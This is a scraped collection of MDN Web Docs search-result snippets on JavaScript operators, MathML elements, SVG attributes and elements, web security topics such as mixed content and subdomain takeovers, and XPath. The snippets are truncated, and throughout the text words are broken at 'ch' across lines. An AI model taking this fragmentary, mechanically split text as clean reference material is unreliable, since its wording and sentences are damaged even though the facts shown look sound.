... let empties = new array(3).fill(undefined) 2 in empties // returns true inherited properties the in operator returns true for properties in the prototype
chain.
... (if you want to
check for only non-inherited properties, use object.prototype.hasownproperty() instead.) 'tostring' in {} // returns true specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
void operator - JavaScript
the void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (whi
ch is equivalent to "void 0").
...for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, su
ch as unobtrusive event handlers.
...to be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example)
changing apis do not cause arrow functions' behaviors to
change.
... button.onclick = () => void dosomething(); this ensures the return value of dosomething
changing from undefined to true will not
change the behavior of this code.
break - JavaScript
the break statement terminates the current loop, swit
ch, or label statement and transfers program control to the statement following the terminated statement.
...if the statement is not a loop or swit
ch, this is required.
... a break statement, with or without a following label, cannot be used within the body of a function that is itself nested within the current loop, swit
ch, or label statement that the break statement is intended to break out of.
... block_1: { console.log('1'); break block_2; // syntaxerror: label not found } block_2: { console.log('2'); } break within functions syntaxerrors are also generated in the following code examples whi
ch use break statements within functions that are nested within a loop, or labeled block that the break statements are intended to break out of.
import.meta - JavaScript
normally the left-hand side of the dot is the object on whi
ch property access is performed, but here import is not really an object.
...this will either be the url from whi
ch the script was obtained, for external scripts, or the document base url of the containing document, for inline scripts.
... for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).sear
chparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).sear
chparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading in the form node --experimental-modules index.mjs?someurlinfo=5 (it is treated as a file rather than a url in this co...
... su
ch file-specific argument passing may be complementary to that used in the application-wide location.href (with query strings or hash added after the html file path) (or on node.js, through process.argv).
Trailing commas - JavaScript
when iterating arrays for example with array.prototype.forea
ch() or array.prototype.map(), array holes are skipped.
... parameter definitions the following function definition pairs are legal and equivalent to ea
ch other.
... function f(p) {} function f(p,) {} (p) => {}; (p,) => {}; the trailing comma also works with method definitions for classes or objects: class c { one(a,) {} two(a, b,) {} } var obj = { one(a,) {}, two(a, b,) {}, }; function calls the following function invocation pairs are legal and equivalent to ea
ch other.
... both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); // syntaxerror json.parse: unexpected
character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4 ]'); json.parse('{"foo" : 1 }'); specifications specification ecmascript (ecma-262) ...
<mi> - MathML
the mathml <mi> element indicates that the content should be rendered as an identifier su
ch as function names, variables or symbolic constants.
... mathvariant this logical class of the identifier, whi
ch varies in typography.
... that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, whi
ch might or might not involve displaying them with the named typography.
... the following values are allowed: normal (default value for more than one
character) ; example bold ; example italic (default value for a single
character) ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stret
ched ; مثال examples <math> <mi> y </mi> <mi> sin </mi> <mi mathvariant="monospace"> x </mi> <mi mathvariant="bold"> π </mi> </math> specifications specification status comment mathml 3.0the definition of 'mi'...
<mtext> - MathML
the mathml <mtext> element is used to render arbitrary text with no notational meaning, su
ch as comments or annotations.
... mathvariant this attribute specifies the logical class of the identifier, whi
ch varies in typography.
... that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, whi
ch might or might not involve displaying them with the named typography.
... ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stret
ched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* comment here */ </mtext> </math> specifications specification status comment mathml 3.0the definition of 'mtext' in that specification.
<semantics> - MathML
the <semantics> element acts as a container element associating annotations and must have
child elements (it will raise an invalid markup error otherwise).
... the rules of determining the visible
child in a <semantics> element are the following: if no rule other rule applies: by default only the first
child is rendered, whi
ch is supposed to be presentation markup.
... if the first
child is a presentation mathml element other than <annotation> or <annotation-xml>, render the first
child.
... if no presentation mathml is found, render the first <annotation> or <annotation-xml>
child element of <semantics>.
accumulate - SVG: Scalable Vector Graphics
it is frequently useful for repeated animations to build upon the previous results, accumulating with ea
ch iteration.
... this attribute said to the animation if the value is added to the previous animated attribute's value on ea
ch iteration.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that ea
ch repeat iteration after the first builds upon the last value of the previous iteration.
... editor's draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'accumulate' in that specification.
calcMode - SVG: Scalable Vector Graphics
paced defines interpolation to produce an even pace of
change across the animation.
... this is only supported for values that define a linear numeric range, and for whi
ch some notion of "distance" between points can be calculated (e.g.
...the points of the spline are defined in the keytimes attribute, and the control points for ea
ch interval are defined in the keysplines attribute.
... editor's draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'calcmode' in that specification.
color - SVG: Scalable Vector Graphics
candidate recommendation removed the restriction to whi
ch elements it applies.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor
chrome ?
...
chrome android ?
fill-rule - SVG: Scalable Vector Graphics
starting with a count of zero, add one ea
ch time a path segment crosses the ray from left to right and subtract one ea
ch time a path segment crosses the ray from right to left.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-rule
chrome ?
...
chrome android ?
fill - SVG: Scalable Vector Graphics
olor fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /> <!-- keeping the final state of an animated circle whi
ch is a circle with a radius of 40.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill
chrome ?
...
chrome android ?
font-weight - SVG: Scalable Vector Graphics
candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-weight
chrome ?
...
chrome android ?
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, whi
ch is used to displace the pixels in the image defined in the in attribute.
... working draft no
change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification.
... working draft no
change filter effects module level 1the definition of 'in2 for <feblend>' in that specification.
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fedisplacementmap>' in that specification.
lengthAdjust - SVG: Scalable Vector Graphics
the lengthadjust attribute controls how the text is stret
ched into the length defined by the textlength attribute.
... four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stret
ched using spacing only.
... </text> <text x="0" y="50" textlength="300" lengthadjust="spacingandglyphs"> stret
ched using spacing and glyphs.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'lengthadjust' in that specification.
operator - SVG: Scalable Vector Graphics
atop this value indicates that the parts of the source graphic defined in the in attribute, whi
ch overlap the destination graphic defined in the in2 attribute, replace the destination graphic.
... the parts of the destination graphic that do not overlap with the source graphic stay untou
ched.
... arithmetic this value indicates that the source graphic defined in the in attribute and the destination graphic defined in the in2 attribute are combined using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel
channel values of the input image, whi
ch map to in and in2 respectively, and k1,k2,k3,and k4 indicate the values of the attributes with the same name.
... working draft no
change filter effects module level 1the definition of 'operator for <fecomposite>' in that specification.
orient - SVG: Scalable Vector Graphics
points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented su
ch that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
...whi
ch points outwards from both ends.
... <angle> this value indicates that the marker is oriented su
ch that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis.
...the marker is oriented su
ch that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis.
panose-1 - SVG: Scalable Vector Graphics
panose-1 is an industry standard truetype font classification and mat
ching te
chnology.
... the panose system consists of a set of ten numbers that categorize the key attributes of a latin typeface, a classification procedure for creating those numbers, and mapper software that determines the closest possible font mat
ch given a set of typefaces.
...the initial value zero for ea
ch panose digit means "any", i.e.
... all fonts will mat
ch the panose number if this value is used.
preserveAspectRatio - SVG: Scalable Vector Graphics
ctive { outline: 1px solid red; } syntax preserveaspectratio="<align> [<meetorslice>]" its value is made of one or two keywords: a required alignment value and an optional "meet or slice" reference as described below: alignment value the alignment value indicates whether to force uniform scaling and, if so, the alignment method to use in case the aspect ratio of the viewbox doesn't mat
ch the aspect ratio of the viewport.
...scale the graphic content of the given element non-uniformly if necessary su
ch that the element's bounding box exactly mat
ches the viewport rectangle.
... meet or slice reference the meet or slice reference is optional and, if provided, must be one of the following keywords: meet (the default) - scale the graphic su
ch that: aspect ratio is preserved the entire viewbox is visible within the viewport the viewbox is scaled up as mu
ch as possible, while still meeting the other criteria in this case, if the aspect ratio of the graphic does not mat
ch the viewport, some of the viewport will extend beyond the bounds of the viewbox (i.e., the area into whi
ch the viewbox will draw will be smaller ...
... slice - scale the graphic su
ch that: aspect ratio is preserved the entire viewport is covered by the viewbox the viewbox is scaled down as mu
ch as possible, while still meeting the other criteria in this case, if the aspect ratio of the viewbox does not mat
ch the viewport, some of the viewbox will extend beyond the bounds of the viewport (i.e., the area into whi
ch the viewbox will draw is larger than the viewport).
rendering-intent - SVG: Scalable Vector Graphics
sometimes pixel values that were originally within the target device gamut are
changed in order to avoid hue shifts and discontinuities and to preserve as mu
ch as possible the overall appearance of the scene.
... relative-colorimetric this value preserves the relative saturation (
chroma) values of the original pixels.
... saturation this value leaves colors that fall inside the gamut un
changed.
... absolute-colorimetric this value disables white point mat
ching when converting colors.
rotate - SVG: Scalable Vector Graphics
usage notes value auto | auto-reverse | <number> default value 0 animatable no the auto and auto-reverse values allow the animated element's rotation to
change dynamically as it travels along the path.
... setting rotate's value to a number specifies a constant rotation, in degrees, that does not
change with the animation.
... examples svg <svg width="400" height="120" viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow whi
ch will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="0"> <mpath href="#themotionpath"/> </animatemotion> </path> <g transform="translate(100, 0)"> <use href="#themotionpath"/> <!-- green arrow whi
ch will rotate along the motion path --> <path fill="gre...
...en" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow whi
ch will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto-reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow whi
ch will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 ...
spacing - SVG: Scalable Vector Graphics
the spacing attribute indicates how the user agent should determine the spacing between typographic
characters that are to be rendered along a path.
... only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic
characters in order to a
chieve visually appealing results.
... exact this value indicates that the typographic
characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spacing' in that specification.
stroke-dashoffset - SVG: Scalable Vector Graphics
<line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units whi
ch ends up in the same rendering as the previous example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for ea
ch line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | ...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dashoffset
chrome ?
...
chrome android ?
stroke-miterlimit - SVG: Scalable Vector Graphics
5 ,3" /> <!-- impact of a large miter limit (8) --> <path stroke="black" fill="none" stroke-linejoin="miter" stroke-miterlimit="8" id="p3" d="m1,29 l7 ,-3 l7 ,3 m2, 0 l3.5 ,-3 l3.5 ,3 m2, 0 l2 ,-3 l2 ,3 m2, 0 l0.75,-3 l0.75,3 m2, 0 l0.5 ,-3 l0.5 ,3" /> <!-- the following pink lines highlight the position of the path for ea
ch stroke --> <path stroke="pink" fill="none" stroke-width="0.05" d="m1, 9 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3 m1,19 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3 m1,29 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3" /> </svg> w...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-miterlimit
chrome ?
...
chrome android ?
target - SVG: Scalable Vector Graphics
the target attribute should be used when there are multiple possible targets for the ending resource, su
ch as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser.
... this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into whi
ch a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> ...
... note: this value was never well implemented, and the distinction between _replace and _self has been made redundant by
changes in the html definition of browsing contexts.
...the name must be a valid xml name [xml11], and should not start with an underscore (u+005f low line
character), to meet the requirements of a valid browsing context name from html.
u1 - SVG: Scalable Vector Graphics
the u1 attribute specifies list of unicode
characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express individual unicode
characters) and/or ranges of unicode
characters, whi
ch identify a set of possible first glyphs in a kerning pair.
... if a given unicode
character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all su
ch glyphs are included in the set.
... comma is the separator
character; thus, to kern a comma, specify the comma as part of a range of unicode
characters or as a glyph name using the g1 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <
character> | <urange> ]# default value none animatable no [ <
character> | <urange> ]# this value indicates a comma-separated sequence of unicode
characters and/or ranges of unicode
characters, whi
ch identify a set of possible first glyphs in a kerning pair.
u2 - SVG: Scalable Vector Graphics
the u2 attribute specifies list of unicode
characters (refer to the description of the unicode attribute of the <glyph> element for a description of how to express individual unicode
characters) and/or ranges of unicode
characters, whi
ch identify a set of possible second glyphs in a kerning pair.
... if a given unicode
character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all su
ch glyphs are included in the set.
... comma is the separator
character; thus, to kern a comma, specify the comma as part of a range of unicode
characters or as a glyph name using the g2 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <
character> | <urange> ]# default value none animatable no [ <
character> | <urange> ]# this value indicates a comma-separated sequence of unicode
characters and/or ranges of unicode
characters, whi
ch identify a set of possible second glyphs in a kerning pair.
values - SVG: Scalable Vector Graphics
the values attribute has different meanings, depending upon the context where itʼs used, either it defines a sequence of values used over the course of an animation, or itʼs a list of numbers for a color matrix, whi
ch is interpreted differently depending on the type of color
change to be performed.
... value <list-of-numbers> default value if type="matrix", identity matrix, if type="saturate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix animatable yes <list-of-numbers> the value is a list of numbers, whi
ch is interpreted differently depending on the value of the type attribute: for type="matrix", values is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ...
... working draft no
change svg animations level 2the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... editor's draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <fecolormatrix>' in that specification.
writing-mode - SVG: Scalable Vector Graphics
(note that the inline-progression-direction can
change within a <text> element due to the unicode bidirectional algorithm and properties direction and unicode-bidi.) note: as a presentation attribute, writing-mode can be used as a css property.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-mode
chrome ?
...
chrome android ?
<cursor> - SVG: Scalable Vector Graphics
a recommended approa
ch for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the exact position within the image whi
ch is the pointer position (i.e., the hot spot).
... the png format is recommended because it supports the ability to define a transparency mask via an alpha
channel.
... if a different image format is used, this format should support the definition of a transparency mask (two options: provide an explicit alpha
channel or use a particular pixel color to indicate transparency).
...typically, the other pixel information (e.g., the r, g and b
channels) defines the colors for those parts of the cursor whi
ch are not masked out.
<feDisplacementMap> - SVG: Scalable Vector Graphics
xc(x,y) and yc(x,y) are the component values of the
channel designated by x
channelselector and y
channelselector.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 scale x
channelselector y
channelselector dom interface this element implements the svgfedisplacementmapelement interface.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" x
channelselector="r" y
channelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
... working draft no
changes scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedisplacementmap>' in that specification.
<linearGradient> - SVG: Scalable Vector Graphics
value type: pad|reflect|repeat ; default value: pad; animatable: yes x1 this attribute defines the x coordinate of the starting point of the vector gradient along whi
ch the linear gradient is drawn.
... value type: <length> ; default value: 0%; animatable: yes x2 this attribute defines the x coordinate of the ending point of the vector gradient along whi
ch the linear gradient is drawn.
... value type: <iri> ; default value: none; animatable: yes y1 this attribute defines the y coordinate of the starting point of the vector gradient along whi
ch the linear gradient is drawn.
... value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along whi
ch the linear gradient is drawn.
<marker> - SVG: Scalable Vector Graphics
markers are atta
ched to shapes using the marker-start, marker-mid, and marker-end properties.
... value type: <length> ; default value: 3; animatable: yes orient this attribute defines the orientation of the marker relative to the shape it is atta
ched to.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...a-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> specifications specification status comment svg markersthe definition of '<marker>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
the <symbol> element is used to define graphical template objects whi
ch can be instantiated by a <use> element.
...documents that are ri
ch in structure may be rendered graphically, as spee
ch, or as braille, and thus promote accessibility.
...lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
...uetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <swit
ch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered.
<tspan> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of ea
ch individual glyph.
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stret
ched or compressed to fit the width defined by the textlength attribute.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-an
chor, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-
checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, ar...
...a-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content
child elementpermitted content
character data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
Example - SVG: Scalable Vector Graphics
first, ea
ch mote tries to move towards the mouse cursor, and second ea
ch mote tries to move away from the average mote position.
... first, ea
ch mote tries to move towards the cursor, and second ea
ch mote tries to move away from the average mote position. combined, we get this very natural looking behavior.
... var dims = dimensions(); var width = dims[0], height = dims[1]; //
choose a random coordinate to start at.
... if( this.elt === null ) { var svg = 'http://www.w3.org/2000/svg'; this.elt = document.createelementns(svg,'line'); this.elt.setattributens(null,'stroke','green'); this.elt.setattributens(null,'stroke-width','3'); this.elt.setattributens(null,'stroke-opacity','0.5'); display().append
child( this.elt ); } this.elt.setattributens(null,'x1',old_x); this.elt.setattributens(null,'y1',old_y); this.elt.setattributens(null,'x2',this.x); this.elt.setattributens(null,'y2',this.y); } function update() { // first call?
SVG animation with SMIL - SVG: Scalable Vector Graphics
although
chrome 45 deprecated smil in favor of css animations and web animations, the
chrome developers have since suspended that deprecation.
... firefox 4 introduced support for animating svg using syn
chronized multimedia integration language (smil).
...this new element is necessary because we are not animating a simple attribute like x whi
ch is just a number.
...in this case, we're establishing a path consisting of a moveto command to establish the starting point for the animation, then the horizontal-line command to move the circle 300 pixels to the right, followed by the z command, whi
ch closes the path, establishing a loop back to the beginning.
Basic shapes - SVG: Scalable Vector Graphics
ea
ch number must be separated by a space, comma, eol, or a line feed
character.
... ea
ch point must contain two numbers: an x coordinate and a y coordinate.
... <polygon points="50, 160 55, 180 70, 180 60, 190 65, 205 50, 195 35, 205 40, 190 30, 180 45, 180"/> points a list of points, ea
ch number separated by a space, comma, eol, or a line feed
character.
... ea
ch point must contain two numbers: an x coordinate and a y coordinate.
Positions - SVG: Scalable Vector Graphics
however, this is the same way elements in html are positioned (by default, ltr documents are considered not the rtl documents whi
ch position x from right-to-left).
...but svg wouldn't have the "scalable" in its name, if there weren't several possibilities to
change this behaviour.
... mu
ch like absolute and relative font sizes in css, svg defines absolute units (ones with a dimensional identifier like "pt" or "cm") and so-called user units, that lack that identifier and are plain numbers.
...to explicitly
change this behaviour, there are several possibilities in svg.
SVG and CSS - SVG: Scalable Vector Graphics
challenge
change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, without
changing the way the outer petals work.
... see a solution to this
challenge.
... simplified structure the svg structure shown above could be written mu
ch more concise by referencing the individual parts of the flower via <use> elements.
...there is some discussion about what rules apply to su
ch referenced elements.
How to fix a website with blocked mixed content - Web security
this follows a practice adopted by internet explorer (since version 9) and
chrome.
... note that since mixed content blocking already happens in
chrome and internet explorer, it is very likely that if your website works in both of these browsers, it will work equally well in firefox with mixed content blocking.
...or use a free online crawler like ssl-
check or missing padlock, a desktop crawler like https
checker, or a cli tool like mcdetect to
check your website recursively and find links to insecure content.
...there are online as well as offline tools (depending on your operating system) su
ch as link
checker to help resolve this.
Securing your site - Web security
privacy and the :visited selector this article discusses
changes made to the getcomputedstyle() method that eliminates the ability for malicious sites to figure out the user's browsing history.
...the same issues can arise if you use an old or insecure algorithm for hashing (su
ch as md5).
... you should use a password-specific hashing algorithm (su
ch as argon2, pbkdf2, scrypt or bcrypt) instead of message digest algorithms (su
ch as md5 and sha).
...for example, .htaccess file is used for websites hosted on apa
che http server.
Subdomain takeovers - Web security
in su
ch a case, as soon as you set up dns in step 2, the attacker can host content on your subdomain.
...depending on the size of the organization, this may require communication and coordination across multiple departments, whi
ch can only increase the likelihood for a vulnerable misconfiguration.
... create an inventory of all of your organization’s domains and their hosting providers, and update it as things
change, to ensure that nothing is left dangling.
...if your site has multiple layers of virtualization (e.g., a cdn in addition to virtual hosting), you may need to examine ea
ch layer to see where exactly the attacker asserted their virtual host claim to take over your domain.
lang - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the lang function determines whether the context node mat
ches the given language and returns boolean true or false.
... syntax lang(string ) arguments string the language code or localization (language and country) code to be mat
ched.
... returns true if the context node mat
ches the given languages.
... if the given string does not specify a country code, this function will mat
